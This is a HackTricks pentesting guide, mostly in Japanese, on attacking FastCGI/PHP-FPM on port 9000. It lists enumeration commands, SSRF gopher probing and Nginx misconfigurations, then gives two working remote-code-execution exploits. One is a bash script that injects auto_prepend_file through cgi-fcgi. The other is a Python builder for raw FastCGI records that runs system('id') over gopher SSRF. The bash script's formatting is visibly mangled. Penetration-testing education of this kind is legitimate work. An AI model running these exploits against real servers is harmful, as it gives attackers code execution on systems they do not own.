9000 Pentesting FastCGI
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
もし FastCGIが何かを学びたい 場合は、以下のページを確認してください:
disable_functions bypass - php-fpm/FastCGI
デフォルトでは FastCGI は port 9000 で動作し、nmap によって認識されないことがあります。通常、FastCGI は localhost のみで待ち受けます。
列挙 / 簡易チェック
- Port scan:
nmap -sV -p9000 <target>(多くの場合 “unknown” サービスと表示されることがあるので、手動で確認してください)。 - Probe FPM status page:
SCRIPT_FILENAME=/status SCRIPT_NAME=/status REQUEST_METHOD=GET cgi-fcgi -bind -connect 127.0.0.1:9000(デフォルトの php-fpmpm.status_path)。 - Find reachable sockets via SSRF: HTTP サービスが SSRF で悪用可能な場合、
gopher://127.0.0.1:9000/_...のペイロードを試して FastCGI リスナーに当ててみてください。 - Nginx misconfigs:
cgi.fix_pathinfo=1とfastcgi_split_path_infoの誤設定により、静的ファイルに/.phpを付加して PHP に到達できる場合があります(トラバーサル経由でのコード実行)。
RCE
FastCGI に任意のコードを実行させるのはかなり簡単です:
PHP ペイロードを先頭に付加する FastCGI リクエストを送信する
```bash #!/bin/bashPAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path
HOST=$1 B64=$(echo “$PAYLOAD”|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT done
</details>
または、次の python スクリプトを使うこともできます: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
### SSRF/gopher を使った FastCGI(9000 に直接到達できない場合)
もし **SSRF** プリミティブしか制御できない場合でも、gopher スキームを使って FastCGI に対してアクセスし、完全な FastCGI リクエストを作成できます。例の payload ビルダー:
<details>
<summary>gopher FastCGI RCE payload を構築して送信する</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"
def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content
def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload = rec(4, enc_params(params)) + rec(4, b"") # FCGI_PARAMS + terminator
payload += rec(5, body) # FCGI_STDIN
s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))
Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.
Notes on recent issues
- libfcgi <= 2.4.4 integer overflow (2024): FastCGI レコード内の細工された
nameLen/valueLenが 32‑bit ビルド(組み込み/IoT で一般的)でオーバーフローし、FastCGI ソケットに到達可能(直接または SSRF 経由)な場合に heap RCE を引き起こします。 - PHP-FPM log manipulation (CVE-2024-9026):
catch_workers_output = yesの場合、FastCGI リクエストを送れる攻撃者はログ行ごとに最大 4 バイトを切り捨てたり挿入したりして、痕跡を消したりログを汚染したりできます。 - Classic Nginx + cgi.fix_pathinfo misconfig: まだよく見られます。
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;がファイル存在確認なしで使われていると、.phpで終わる任意のパスが実行され、path traversal や source overwrite style gadgets を可能にします。
References
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


